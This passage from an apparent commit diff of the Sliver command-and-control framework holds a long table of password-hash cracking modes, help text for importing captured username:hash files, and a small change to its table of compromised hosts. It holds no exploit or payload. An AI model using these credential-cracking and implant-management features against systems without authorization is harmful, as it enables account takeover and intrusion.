4900 | sha1($salt.$pass.$salt) | Raw Hash salted and/or iterated
4520 | sha1($salt.sha1($pass)) | Raw Hash salted and/or iterated
24300 | sha1($salt.sha1($pass.$salt)) | Raw Hash salted and/or iterated
140 | sha1($salt.utf16le($pass)) | Raw Hash salted and/or iterated
19300 | sha1($salt1.$pass.$salt2) | Raw Hash salted and/or iterated
14400 | sha1(CX) | Raw Hash salted and/or iterated
4700 | sha1(md5($pass)) | Raw Hash salted and/or iterated
4710 | sha1(md5($pass).$salt) | Raw Hash salted and/or iterated
21100 | sha1(md5($pass.$salt)) | Raw Hash salted and/or iterated
18500 | sha1(md5(md5($pass))) | Raw Hash salted and/or iterated
4500 | sha1(sha1($pass)) | Raw Hash salted and/or iterated
4510 | sha1(sha1($pass).$salt) | Raw Hash salted and/or iterated
5000 | sha1(sha1($salt.$pass.$salt)) | Raw Hash salted and/or iterated
130 | sha1(utf16le($pass).$salt) | Raw Hash salted and/or iterated
1410 | sha256($pass.$salt) | Raw Hash salted and/or iterated
1420 | sha256($salt.$pass) | Raw Hash salted and/or iterated
22300 | sha256($salt.$pass.$salt) | Raw Hash salted and/or iterated
20720 | sha256($salt.sha256($pass)) | Raw Hash salted and/or iterated
21420 | sha256($salt.sha256_bin($pass)) | Raw Hash salted and/or iterated
1440 | sha256($salt.utf16le($pass)) | Raw Hash salted and/or iterated
20800 | sha256(md5($pass)) | Raw Hash salted and/or iterated
20710 | sha256(sha256($pass).$salt) | Raw Hash salted and/or iterated
21400 | sha256(sha256_bin($pass)) | Raw Hash salted and/or iterated
1430 | sha256(utf16le($pass).$salt) | Raw Hash salted and/or iterated
10810 | sha384($pass.$salt) | Raw Hash salted and/or iterated
10820 | sha384($salt.$pass) | Raw Hash salted and/or iterated
10840 | sha384($salt.utf16le($pass)) | Raw Hash salted and/or iterated
10830 | sha384(utf16le($pass).$salt) | Raw Hash salted and/or iterated
1710 | sha512($pass.$salt) | Raw Hash salted and/or iterated
1720 | sha512($salt.$pass) | Raw Hash salted and/or iterated
1740 | sha512($salt.utf16le($pass)) | Raw Hash salted and/or iterated
1730 | sha512(utf16le($pass).$salt) | Raw Hash salted and/or iterated
50 | HMAC-MD5 (key = $pass) | Raw Hash authenticated
60 | HMAC-MD5 (key = $salt) | Raw Hash authenticated
150 | HMAC-SHA1 (key = $pass) | Raw Hash authenticated
160 | HMAC-SHA1 (key = $salt) | Raw Hash authenticated
1450 | HMAC-SHA256 (key = $pass) | Raw Hash authenticated
1460 | HMAC-SHA256 (key = $salt) | Raw Hash authenticated
1750 | HMAC-SHA512 (key = $pass) | Raw Hash authenticated
1760 | HMAC-SHA512 (key = $salt) | Raw Hash authenticated
11750 | HMAC-Streebog-256 (key = $pass), big-endian | Raw Hash authenticated
11760 | HMAC-Streebog-256 (key = $salt), big-endian | Raw Hash authenticated
11850 | HMAC-Streebog-512 (key = $pass), big-endian | Raw Hash authenticated
11860 | HMAC-Streebog-512 (key = $salt), big-endian | Raw Hash authenticated
28700 | Amazon AWS4-HMAC-SHA256 | Raw Hash authenticated
11500 | CRC32 | Raw Checksum
27900 | CRC32C | Raw Checksum
28000 | CRC64Jones | Raw Checksum
18700 | Java Object hashCode() | Raw Checksum
25700 | MurmurHash | Raw Checksum
27800 | MurmurHash3 | Raw Checksum
14100 | 3DES (PT = $salt, key = $pass) | Raw Cipher, Known-plaintext attack
14000 | DES (PT = $salt, key = $pass) | Raw Cipher, Known-plaintext attack
26401 | AES-128-ECB NOKDF (PT = $salt, key = $pass) | Raw Cipher, Known-plaintext attack
26402 | AES-192-ECB NOKDF (PT = $salt, key = $pass) | Raw Cipher, Known-plaintext attack
26403 | AES-256-ECB NOKDF (PT = $salt, key = $pass) | Raw Cipher, Known-plaintext attack
15400 | ChaCha20 | Raw Cipher, Known-plaintext attack
14500 | Linux Kernel Crypto API (2.4) | Raw Cipher, Known-plaintext attack
14900 | Skip32 (PT = $salt, key = $pass) | Raw Cipher, Known-plaintext attack
11900 | PBKDF2-HMAC-MD5 | Generic KDF
12000 | PBKDF2-HMAC-SHA1 | Generic KDF
10900 | PBKDF2-HMAC-SHA256 | Generic KDF
12100 | PBKDF2-HMAC-SHA512 | Generic KDF
8900 | scrypt | Generic KDF
400 | phpass | Generic KDF
16100 | TACACS+ | Network Protocol
11400 | SIP digest authentication (MD5) | Network Protocol
5300 | IKE-PSK MD5 | Network Protocol
5400 | IKE-PSK SHA1 | Network Protocol
25100 | SNMPv3 HMAC-MD5-96 | Network Protocol
25000 | SNMPv3 HMAC-MD5-96/HMAC-SHA1-96 | Network Protocol
25200 | SNMPv3 HMAC-SHA1-96 | Network Protocol
26700 | SNMPv3 HMAC-SHA224-128 | Network Protocol
26800 | SNMPv3 HMAC-SHA256-192 | Network Protocol
26900 | SNMPv3 HMAC-SHA384-256 | Network Protocol
27300 | SNMPv3 HMAC-SHA512-384 | Network Protocol
2500 | WPA-EAPOL-PBKDF2 | Network Protocol
2501 | WPA-EAPOL-PMK | Network Protocol
22000 | WPA-PBKDF2-PMKID+EAPOL | Network Protocol
22001 | WPA-PMK-PMKID+EAPOL | Network Protocol
16800 | WPA-PMKID-PBKDF2 | Network Protocol
16801 | WPA-PMKID-PMK | Network Protocol
7300 | IPMI2 RAKP HMAC-SHA1 | Network Protocol
10200 | CRAM-MD5 | Network Protocol
16500 | JWT (JSON Web Token) | Network Protocol
29200 | Radmin3 | Network Protocol
19600 | Kerberos 5, etype 17, TGS-REP | Network Protocol
19800 | Kerberos 5, etype 17, Pre-Auth | Network Protocol
28800 | Kerberos 5, etype 17, DB | Network Protocol
19700 | Kerberos 5, etype 18, TGS-REP | Network Protocol
19900 | Kerberos 5, etype 18, Pre-Auth | Network Protocol
28900 | Kerberos 5, etype 18, DB | Network Protocol
7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth | Network Protocol
13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
18200 | Kerberos 5, etype 23, AS-REP | Network Protocol
5500 | NetNTLMv1 / NetNTLMv1+ESS | Network Protocol
27000 | NetNTLMv1 / NetNTLMv1+ESS (NT) | Network Protocol
5600 | NetNTLMv2 | Network Protocol
27100 | NetNTLMv2 (NT) | Network Protocol
29100 | Flask Session Cookie ($salt.$salt.$pass) | Network Protocol
4800 | iSCSI CHAP authentication, MD5(CHAP) | Network Protocol
8500 | RACF | Operating System
6300 | AIX {smd5} | Operating System
6700 | AIX {ssha1} | Operating System
6400 | AIX {ssha256} | Operating System
6500 | AIX {ssha512} | Operating System
3000 | LM | Operating System
19000 | QNX /etc/shadow (MD5) | Operating System
19100 | QNX /etc/shadow (SHA256) | Operating System
19200 | QNX /etc/shadow (SHA512) | Operating System
15300 | DPAPI masterkey file v1 (context 1 and 2) | Operating System
15310 | DPAPI masterkey file v1 (context 3) | Operating System
15900 | DPAPI masterkey file v2 (context 1 and 2) | Operating System
15910 | DPAPI masterkey file v2 (context 3) | Operating System
7200 | GRUB 2 | Operating System
12800 | MS-AzureSync PBKDF2-HMAC-SHA256 | Operating System
12400 | BSDi Crypt, Extended DES | Operating System
1000 | NTLM | Operating System
9900 | Radmin2 | Operating System
5800 | Samsung Android Password/PIN | Operating System
28100 | Windows Hello PIN/Password | Operating System
13800 | Windows Phone 8+ PIN/password | Operating System
2410 | Cisco-ASA MD5 | Operating System
9200 | Cisco-IOS $8$ (PBKDF2-SHA256) | Operating System
9300 | Cisco-IOS $9$ (scrypt) | Operating System
5700 | Cisco-IOS type 4 (SHA256) | Operating System
2400 | Cisco-PIX MD5 | Operating System
8100 | Citrix NetScaler (SHA1) | Operating System
22200 | Citrix NetScaler (SHA512) | Operating System
1100 | Domain Cached Credentials (DCC), MS Cache | Operating System
2100 | Domain Cached Credentials 2 (DCC2), MS Cache 2 | Operating System
7000 | FortiGate (FortiOS) | Operating System
26300 | FortiGate256 (FortiOS256) | Operating System
125 | ArubaOS | Operating System
501 | Juniper IVE | Operating System
22 | Juniper NetScreen/SSG (ScreenOS) | Operating System
15100 | Juniper/NetBSD sha1crypt | Operating System
26500 | iPhone passcode (UID key + System Keybag) | Operating System
122 | macOS v10.4, macOS v10.5, macOS v10.6 | Operating System
1722 | macOS v10.7 | Operating System
7100 | macOS v10.8+ (PBKDF2-SHA512) | Operating System
3200 | bcrypt $2*$, Blowfish (Unix) | Operating System
500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) | Operating System
1500 | descrypt, DES (Unix), Traditional DES | Operating System
29000 | sha1($salt.sha1(utf16le($username).':'.utf16le($pass))) | Operating System
7400 | sha256crypt $5$, SHA256 (Unix) | Operating System
1800 | sha512crypt $6$, SHA512 (Unix) | Operating System
24600 | SQLCipher | Database Server
131 | MSSQL (2000) | Database Server
132 | MSSQL (2005) | Database Server
1731 | MSSQL (2012, 2014) | Database Server
24100 | MongoDB ServerKey SCRAM-SHA-1 | Database Server
24200 | MongoDB ServerKey SCRAM-SHA-256 | Database Server
12 | PostgreSQL | Database Server
11100 | PostgreSQL CRAM (MD5) | Database Server
28600 | PostgreSQL SCRAM-SHA-256 | Database Server
3100 | Oracle H: Type (Oracle 7+) | Database Server
112 | Oracle S: Type (Oracle 11+) | Database Server
12300 | Oracle T: Type (Oracle 12+) | Database Server
7401 | MySQL $A$ (sha256crypt) | Database Server
11200 | MySQL CRAM (SHA1) | Database Server
200 | MySQL323 | Database Server
300 | MySQL4.1/MySQL5 | Database Server
8000 | Sybase ASE | Database Server
8300 | DNSSEC (NSEC3) | FTP, HTTP, SMTP, LDAP Server
25900 | KNX IP Secure - Device Authentication Code | FTP, HTTP, SMTP, LDAP Server
16400 | CRAM-MD5 Dovecot | FTP, HTTP, SMTP, LDAP Server
1411 | SSHA-256(Base64), LDAP {SSHA256} | FTP, HTTP, SMTP, LDAP Server
1711 | SSHA-512(Base64), LDAP {SSHA512} | FTP, HTTP, SMTP, LDAP Server
24900 | Dahua Authentication MD5 | FTP, HTTP, SMTP, LDAP Server
10901 | RedHat 389-DS LDAP (PBKDF2-HMAC-SHA256) | FTP, HTTP, SMTP, LDAP Server
15000 | FileZilla Server >= 0.9.55 | FTP, HTTP, SMTP, LDAP Server
12600 | ColdFusion 10+ | FTP, HTTP, SMTP, LDAP Server
1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) | FTP, HTTP, SMTP, LDAP Server
141 | Episerver 6.x < .NET 4 | FTP, HTTP, SMTP, LDAP Server
1441 | Episerver 6.x >= .NET 4 | FTP, HTTP, SMTP, LDAP Server
1421 | hMailServer | FTP, HTTP, SMTP, LDAP Server
101 | nsldap, SHA-1(Base64), Netscape LDAP SHA | FTP, HTTP, SMTP, LDAP Server
111 | nsldaps, SSHA-1(Base64), Netscape LDAP SSHA | FTP, HTTP, SMTP, LDAP Server
7700 | SAP CODVN B (BCODE) | Enterprise Application Software (EAS)
7701 | SAP CODVN B (BCODE) from RFC_READ_TABLE | Enterprise Application Software (EAS)
7800 | SAP CODVN F/G (PASSCODE) | Enterprise Application Software (EAS)
7801 | SAP CODVN F/G (PASSCODE) from RFC_READ_TABLE | Enterprise Application Software (EAS)
10300 | SAP CODVN H (PWDSALTEDHASH) iSSHA-1 | Enterprise Application Software (EAS)
133 | PeopleSoft | Enterprise Application Software (EAS)
13500 | PeopleSoft PS_TOKEN | Enterprise Application Software (EAS)
21500 | SolarWinds Orion | Enterprise Application Software (EAS)
21501 | SolarWinds Orion v2 | Enterprise Application Software (EAS)
24 | SolarWinds Serv-U | Enterprise Application Software (EAS)
8600 | Lotus Notes/Domino 5 | Enterprise Application Software (EAS)
8700 | Lotus Notes/Domino 6 | Enterprise Application Software (EAS)
9100 | Lotus Notes/Domino 8 | Enterprise Application Software (EAS)
26200 | OpenEdge Progress Encode | Enterprise Application Software (EAS)
20600 | Oracle Transportation Management (SHA256) | Enterprise Application Software (EAS)
4711 | Huawei sha1(md5($pass).$salt) | Enterprise Application Software (EAS)
20711 | AuthMe sha256 | Enterprise Application Software (EAS)
22400 | AES Crypt (SHA256) | Full-Disk Encryption (FDE)
27400 | VMware VMX (PBKDF2-HMAC-SHA1 + AES-256-CBC) | Full-Disk Encryption (FDE)
14600 | LUKS v1 (legacy) | Full-Disk Encryption (FDE)
29541 | LUKS v1 RIPEMD-160 + AES | Full-Disk Encryption (FDE)
29542 | LUKS v1 RIPEMD-160 + Serpent | Full-Disk Encryption (FDE)
29543 | LUKS v1 RIPEMD-160 + Twofish | Full-Disk Encryption (FDE)
29511 | LUKS v1 SHA-1 + AES | Full-Disk Encryption (FDE)
29512 | LUKS v1 SHA-1 + Serpent | Full-Disk Encryption (FDE)
29513 | LUKS v1 SHA-1 + Twofish | Full-Disk Encryption (FDE)
29521 | LUKS v1 SHA-256 + AES | Full-Disk Encryption (FDE)
29522 | LUKS v1 SHA-256 + Serpent | Full-Disk Encryption (FDE)
29523 | LUKS v1 SHA-256 + Twofish | Full-Disk Encryption (FDE)
29531 | LUKS v1 SHA-512 + AES | Full-Disk Encryption (FDE)
29532 | LUKS v1 SHA-512 + Serpent | Full-Disk Encryption (FDE)
29533 | LUKS v1 SHA-512 + Twofish | Full-Disk Encryption (FDE)
13711 | VeraCrypt RIPEMD160 + XTS 512 bit (legacy) | Full-Disk Encryption (FDE)
13712 | VeraCrypt RIPEMD160 + XTS 1024 bit (legacy) | Full-Disk Encryption (FDE)
13713 | VeraCrypt RIPEMD160 + XTS 1536 bit (legacy) | Full-Disk Encryption (FDE)
13741 | VeraCrypt RIPEMD160 + XTS 512 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
13742 | VeraCrypt RIPEMD160 + XTS 1024 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
13743 | VeraCrypt RIPEMD160 + XTS 1536 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
29411 | VeraCrypt RIPEMD160 + XTS 512 bit | Full-Disk Encryption (FDE)
29412 | VeraCrypt RIPEMD160 + XTS 1024 bit | Full-Disk Encryption (FDE)
29413 | VeraCrypt RIPEMD160 + XTS 1536 bit | Full-Disk Encryption (FDE)
29441 | VeraCrypt RIPEMD160 + XTS 512 bit + boot-mode | Full-Disk Encryption (FDE)
29442 | VeraCrypt RIPEMD160 + XTS 1024 bit + boot-mode | Full-Disk Encryption (FDE)
29443 | VeraCrypt RIPEMD160 + XTS 1536 bit + boot-mode | Full-Disk Encryption (FDE)
13751 | VeraCrypt SHA256 + XTS 512 bit (legacy) | Full-Disk Encryption (FDE)
13752 | VeraCrypt SHA256 + XTS 1024 bit (legacy) | Full-Disk Encryption (FDE)
13753 | VeraCrypt SHA256 + XTS 1536 bit (legacy) | Full-Disk Encryption (FDE)
13761 | VeraCrypt SHA256 + XTS 512 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
13762 | VeraCrypt SHA256 + XTS 1024 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
13763 | VeraCrypt SHA256 + XTS 1536 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
29451 | VeraCrypt SHA256 + XTS 512 bit | Full-Disk Encryption (FDE)
29452 | VeraCrypt SHA256 + XTS 1024 bit | Full-Disk Encryption (FDE)
29453 | VeraCrypt SHA256 + XTS 1536 bit | Full-Disk Encryption (FDE)
29461 | VeraCrypt SHA256 + XTS 512 bit + boot-mode | Full-Disk Encryption (FDE)
29462 | VeraCrypt SHA256 + XTS 1024 bit + boot-mode | Full-Disk Encryption (FDE)
29463 | VeraCrypt SHA256 + XTS 1536 bit + boot-mode | Full-Disk Encryption (FDE)
13721 | VeraCrypt SHA512 + XTS 512 bit (legacy) | Full-Disk Encryption (FDE)
13722 | VeraCrypt SHA512 + XTS 1024 bit (legacy) | Full-Disk Encryption (FDE)
13723 | VeraCrypt SHA512 + XTS 1536 bit (legacy) | Full-Disk Encryption (FDE)
29421 | VeraCrypt SHA512 + XTS 512 bit | Full-Disk Encryption (FDE)
29422 | VeraCrypt SHA512 + XTS 1024 bit | Full-Disk Encryption (FDE)
29423 | VeraCrypt SHA512 + XTS 1536 bit | Full-Disk Encryption (FDE)
13771 | VeraCrypt Streebog-512 + XTS 512 bit (legacy) | Full-Disk Encryption (FDE)
13772 | VeraCrypt Streebog-512 + XTS 1024 bit (legacy) | Full-Disk Encryption (FDE)
13773 | VeraCrypt Streebog-512 + XTS 1536 bit (legacy) | Full-Disk Encryption (FDE)
13781 | VeraCrypt Streebog-512 + XTS 512 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
13782 | VeraCrypt Streebog-512 + XTS 1024 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
13783 | VeraCrypt Streebog-512 + XTS 1536 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
29471 | VeraCrypt Streebog-512 + XTS 512 bit | Full-Disk Encryption (FDE)
29472 | VeraCrypt Streebog-512 + XTS 1024 bit | Full-Disk Encryption (FDE)
29473 | VeraCrypt Streebog-512 + XTS 1536 bit | Full-Disk Encryption (FDE)
29481 | VeraCrypt Streebog-512 + XTS 512 bit + boot-mode | Full-Disk Encryption (FDE)
29482 | VeraCrypt Streebog-512 + XTS 1024 bit + boot-mode | Full-Disk Encryption (FDE)
29483 | VeraCrypt Streebog-512 + XTS 1536 bit + boot-mode | Full-Disk Encryption (FDE)
13731 | VeraCrypt Whirlpool + XTS 512 bit (legacy) | Full-Disk Encryption (FDE)
13732 | VeraCrypt Whirlpool + XTS 1024 bit (legacy) | Full-Disk Encryption (FDE)
13733 | VeraCrypt Whirlpool + XTS 1536 bit (legacy) | Full-Disk Encryption (FDE)
29431 | VeraCrypt Whirlpool + XTS 512 bit | Full-Disk Encryption (FDE)
29432 | VeraCrypt Whirlpool + XTS 1024 bit | Full-Disk Encryption (FDE)
29433 | VeraCrypt Whirlpool + XTS 1536 bit | Full-Disk Encryption (FDE)
23900 | BestCrypt v3 Volume Encryption | Full-Disk Encryption (FDE)
16700 | FileVault 2 | Full-Disk Encryption (FDE)
27500 | VirtualBox (PBKDF2-HMAC-SHA256 & AES-128-XTS) | Full-Disk Encryption (FDE)
27600 | VirtualBox (PBKDF2-HMAC-SHA256 & AES-256-XTS) | Full-Disk Encryption (FDE)
20011 | DiskCryptor SHA512 + XTS 512 bit | Full-Disk Encryption (FDE)
20012 | DiskCryptor SHA512 + XTS 1024 bit | Full-Disk Encryption (FDE)
20013 | DiskCryptor SHA512 + XTS 1536 bit | Full-Disk Encryption (FDE)
22100 | BitLocker | Full-Disk Encryption (FDE)
12900 | Android FDE (Samsung DEK) | Full-Disk Encryption (FDE)
8800 | Android FDE <= 4.3 | Full-Disk Encryption (FDE)
18300 | Apple File System (APFS) | Full-Disk Encryption (FDE)
6211 | TrueCrypt RIPEMD160 + XTS 512 bit (legacy) | Full-Disk Encryption (FDE)
6212 | TrueCrypt RIPEMD160 + XTS 1024 bit (legacy) | Full-Disk Encryption (FDE)
6213 | TrueCrypt RIPEMD160 + XTS 1536 bit (legacy) | Full-Disk Encryption (FDE)
6241 | TrueCrypt RIPEMD160 + XTS 512 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
6242 | TrueCrypt RIPEMD160 + XTS 1024 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
6243 | TrueCrypt RIPEMD160 + XTS 1536 bit + boot-mode (legacy) | Full-Disk Encryption (FDE)
29311 | TrueCrypt RIPEMD160 + XTS 512 bit | Full-Disk Encryption (FDE)
29312 | TrueCrypt RIPEMD160 + XTS 1024 bit | Full-Disk Encryption (FDE)
29313 | TrueCrypt RIPEMD160 + XTS 1536 bit | Full-Disk Encryption (FDE)
29341 | TrueCrypt RIPEMD160 + XTS 512 bit + boot-mode | Full-Disk Encryption (FDE)
29342 | TrueCrypt RIPEMD160 + XTS 1024 bit + boot-mode | Full-Disk Encryption (FDE)
29343 | TrueCrypt RIPEMD160 + XTS 1536 bit + boot-mode | Full-Disk Encryption (FDE)
6221 | TrueCrypt SHA512 + XTS 512 bit (legacy) | Full-Disk Encryption (FDE)
6222 | TrueCrypt SHA512 + XTS 1024 bit (legacy) | Full-Disk Encryption (FDE)
6223 | TrueCrypt SHA512 + XTS 1536 bit (legacy) | Full-Disk Encryption (FDE)
29321 | TrueCrypt SHA512 + XTS 512 bit | Full-Disk Encryption (FDE)
29322 | TrueCrypt SHA512 + XTS 1024 bit | Full-Disk Encryption (FDE)
29323 | TrueCrypt SHA512 + XTS 1536 bit | Full-Disk Encryption (FDE)
6231 | TrueCrypt Whirlpool + XTS 512 bit (legacy) | Full-Disk Encryption (FDE)
6232 | TrueCrypt Whirlpool + XTS 1024 bit (legacy) | Full-Disk Encryption (FDE)
6233 | TrueCrypt Whirlpool + XTS 1536 bit (legacy) | Full-Disk Encryption (FDE)
29331 | TrueCrypt Whirlpool + XTS 512 bit | Full-Disk Encryption (FDE)
29332 | TrueCrypt Whirlpool + XTS 1024 bit | Full-Disk Encryption (FDE)
29333 | TrueCrypt Whirlpool + XTS 1536 bit | Full-Disk Encryption (FDE)
12200 | eCryptfs | Full-Disk Encryption (FDE)
10400 | PDF 1.1 - 1.3 (Acrobat 2 - 4) | Document
10410 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1 | Document
10420 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2 | Document
10500 | PDF 1.4 - 1.6 (Acrobat 5 - 8) | Document
25400 | PDF 1.4 - 1.6 (Acrobat 5 - 8) - user and owner pass | Document
10600 | PDF 1.7 Level 3 (Acrobat 9) | Document
10700 | PDF 1.7 Level 8 (Acrobat 10 - 11) | Document
9400 | MS Office 2007 | Document
9500 | MS Office 2010 | Document
9600 | MS Office 2013 | Document
25300 | MS Office 2016 - SheetProtection | Document
9700 | MS Office <= 2003 $0/$1, MD5 + RC4 | Document
9710 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #1 | Document
9720 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #2 | Document
9810 | MS Office <= 2003 $3, SHA1 + RC4, collider #1 | Document
9820 | MS Office <= 2003 $3, SHA1 + RC4, collider #2 | Document
9800 | MS Office <= 2003 $3/$4, SHA1 + RC4 | Document
18400 | Open Document Format (ODF) 1.2 (SHA-256, AES) | Document
18600 | Open Document Format (ODF) 1.1 (SHA-1, Blowfish) | Document
16200 | Apple Secure Notes | Document
23300 | Apple iWork | Document
6600 | 1Password, agilekeychain | Password Manager
8200 | 1Password, cloudkeychain | Password Manager
9000 | Password Safe v2 | Password Manager
5200 | Password Safe v3 | Password Manager
6800 | LastPass + LastPass sniffed | Password Manager
13400 | KeePass 1 (AES/Twofish) and KeePass 2 (AES) | Password Manager
29700 | KeePass 1 (AES/Twofish) and KeePass 2 (AES) - keyfile only | Password Manager
23400 | Bitwarden | Password Manager
16900 | Ansible Vault | Password Manager
26000 | Mozilla key3.db | Password Manager
26100 | Mozilla key4.db | Password Manager
23100 | Apple Keychain | Password Manager
11600 | 7-Zip | Archive
12500 | RAR3-hp | Archive
23700 | RAR3-p (Uncompressed) | Archive
13000 | RAR5 | Archive
17220 | PKZIP (Compressed Multi-File) | Archive
17200 | PKZIP (Compressed) | Archive
17225 | PKZIP (Mixed Multi-File) | Archive
17230 | PKZIP (Mixed Multi-File Checksum-Only) | Archive
17210 | PKZIP (Uncompressed) | Archive
20500 | PKZIP Master Key | Archive
20510 | PKZIP Master Key (6 byte optimization) | Archive
23001 | SecureZIP AES-128 | Archive
23002 | SecureZIP AES-192 | Archive
23003 | SecureZIP AES-256 | Archive
13600 | WinZip | Archive
18900 | Android Backup | Archive
24700 | Stuffit5 | Archive
13200 | AxCrypt 1 | Archive
13300 | AxCrypt 1 in-memory SHA1 | Archive
23500 | AxCrypt 2 AES-128 | Archive
23600 | AxCrypt 2 AES-256 | Archive
14700 | iTunes backup < 10.0 | Archive
14800 | iTunes backup >= 10.0 | Archive
8400 | WBB3 (Woltlab Burning Board) | Forums, CMS, E-Commerce
2612 | PHPS | Forums, CMS, E-Commerce
121 | SMF (Simple Machines Forum) > v1.1 | Forums, CMS, E-Commerce
3711 | MediaWiki B type | Forums, CMS, E-Commerce
4521 | Redmine | Forums, CMS, E-Commerce
24800 | Umbraco HMAC-SHA1 | Forums, CMS, E-Commerce
11 | Joomla < 2.5.18 | Forums, CMS, E-Commerce
13900 | OpenCart | Forums, CMS, E-Commerce
11000 | PrestaShop | Forums, CMS, E-Commerce
16000 | Tripcode | Forums, CMS, E-Commerce
7900 | Drupal7 | Forums, CMS, E-Commerce
4522 | PunBB | Forums, CMS, E-Commerce
2811 | MyBB 1.2+, IPB2+ (Invision Power Board) | Forums, CMS, E-Commerce
2611 | vBulletin < v3.8.5 | Forums, CMS, E-Commerce
2711 | vBulletin >= v3.8.5 | Forums, CMS, E-Commerce
25600 | bcrypt(md5($pass)) / bcryptmd5 | Forums, CMS, E-Commerce
25800 | bcrypt(sha1($pass)) / bcryptsha1 | Forums, CMS, E-Commerce
28400 | bcrypt(sha512($pass)) / bcryptsha512 | Forums, CMS, E-Commerce
21 | osCommerce, xt:Commerce | Forums, CMS, E-Commerce
18100 | TOTP (HMAC-SHA1) | One-Time Password
2000 | STDOUT | Plaintext
99999 | Plaintext | Plaintext
21600 | Web2py pbkdf2-sha512 | Framework
10000 | Django (PBKDF2-SHA256) | Framework
124 | Django (SHA-1) | Framework
12001 | Atlassian (PBKDF2-HMAC-SHA1) | Framework
19500 | Ruby on Rails Restful-Authentication | Framework
27200 | Ruby on Rails Restful Auth (one round, no sitekey) | Framework
30000 | Python Werkzeug MD5 (HMAC-MD5 (key = $salt)) | Framework
30120 | Python Werkzeug SHA256 (HMAC-SHA256 (key = $salt)) | Framework
20200 | Python passlib pbkdf2-sha512 | Framework
20300 | Python passlib pbkdf2-sha256 | Framework
20400 | Python passlib pbkdf2-sha1 | Framework
24410 | PKCS#8 Private Keys (PBKDF2-HMAC-SHA1 + 3DES/AES) | Private Key
24420 | PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES) | Private Key
15500 | JKS Java Key Store Private Keys (SHA1) | Private Key
22911 | RSA/DSA/EC/OpenSSH Private Keys ($0$) | Private Key
22921 | RSA/DSA/EC/OpenSSH Private Keys ($6$) | Private Key
22931 | RSA/DSA/EC/OpenSSH Private Keys ($1, $3$) | Private Key
22941 | RSA/DSA/EC/OpenSSH Private Keys ($4$) | Private Key
22951 | RSA/DSA/EC/OpenSSH Private Keys ($5$) | Private Key
23200 | XMPP SCRAM PBKDF2-SHA1 | Instant Messaging Service
28300 | Teamspeak 3 (channel hash) | Instant Messaging Service
22600 | Telegram Desktop < v2.1.14 (PBKDF2-HMAC-SHA1) | Instant Messaging Service
24500 | Telegram Desktop >= v2.1.14 (PBKDF2-HMAC-SHA512) | Instant Messaging Service
22301 | Telegram Mobile App Passcode (SHA256) | Instant Messaging Service
23 | Skype | Instant Messaging Service
29600 | Terra Station Wallet (AES256-CBC(PBKDF2($pass))) | Cryptocurrency Wallet
26600 | MetaMask Wallet | Cryptocurrency Wallet
21000 | BitShares v0.x - sha512(sha512_bin(pass)) | Cryptocurrency Wallet
28501 | Bitcoin WIF private key (P2PKH), compressed | Cryptocurrency Wallet
28502 | Bitcoin WIF private key (P2PKH), uncompressed | Cryptocurrency Wallet
28503 | Bitcoin WIF private key (P2WPKH, Bech32), compressed | Cryptocurrency Wallet
28504 | Bitcoin WIF private key (P2WPKH, Bech32), uncompressed | Cryptocurrency Wallet
28505 | Bitcoin WIF private key (P2SH(P2WPKH)), compressed | Cryptocurrency Wallet
28506 | Bitcoin WIF private key (P2SH(P2WPKH)), uncompressed | Cryptocurrency Wallet
11300 | Bitcoin/Litecoin wallet.dat | Cryptocurrency Wallet
16600 | Electrum Wallet (Salt-Type 1-3) | Cryptocurrency Wallet
21700 | Electrum Wallet (Salt-Type 4) | Cryptocurrency Wallet
21800 | Electrum Wallet (Salt-Type 5) | Cryptocurrency Wallet
12700 | Blockchain, My Wallet | Cryptocurrency Wallet
15200 | Blockchain, My Wallet, V2 | Cryptocurrency Wallet
18800 | Blockchain, My Wallet, Second Password (SHA256) | Cryptocurrency Wallet
25500 | Stargazer Stellar Wallet XLM | Cryptocurrency Wallet
16300 | Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256 | Cryptocurrency Wallet
15600 | Ethereum Wallet, PBKDF2-HMAC-SHA256 | Cryptocurrency Wallet
15700 | Ethereum Wallet, SCRYPT | Cryptocurrency Wallet
22500 | MultiBit Classic .key (MD5) | Cryptocurrency Wallet
27700 | MultiBit Classic .wallet (scrypt) | Cryptocurrency Wallet
22700 | MultiBit HD (scrypt) | Cryptocurrency Wallet
28200 | Exodus Desktop Wallet (scrypt) | Cryptocurrency Wallet
`
credsAddFileHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] creds add file
[[.Bold]]About:[[.Normal]] Add a file containing credentials to the database.
[[.Bold]]File Formats:[[.Normal]]
% 10s - One hash per line.
% 10s - A file containing lines of 'username:hash' pairs.
% 10s - A CSV file containing 'username,hash' pairs (additional columns ignored).
`, creds.HashNewlineFormat, creds.UserColonHashNewlineFormat, creds.CSVFormat)
)
const (
+6 -11
View File
@@ -26,7 +26,6 @@ import (
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
@@ -66,12 +65,10 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
"ID",
"Hostname",
"Operating System",
"Locale",
"Sessions",
"Beacons",
"IOCs",
"Extensions",
"First Contact",
})
for _, host := range hosts {
var shortID string
@@ -84,27 +81,25 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
shortID,
host.Hostname,
host.OSVersion,
host.Locale,
hostSessions(host.HostUUID, con),
hostSessionNumbers(host.HostUUID, con),
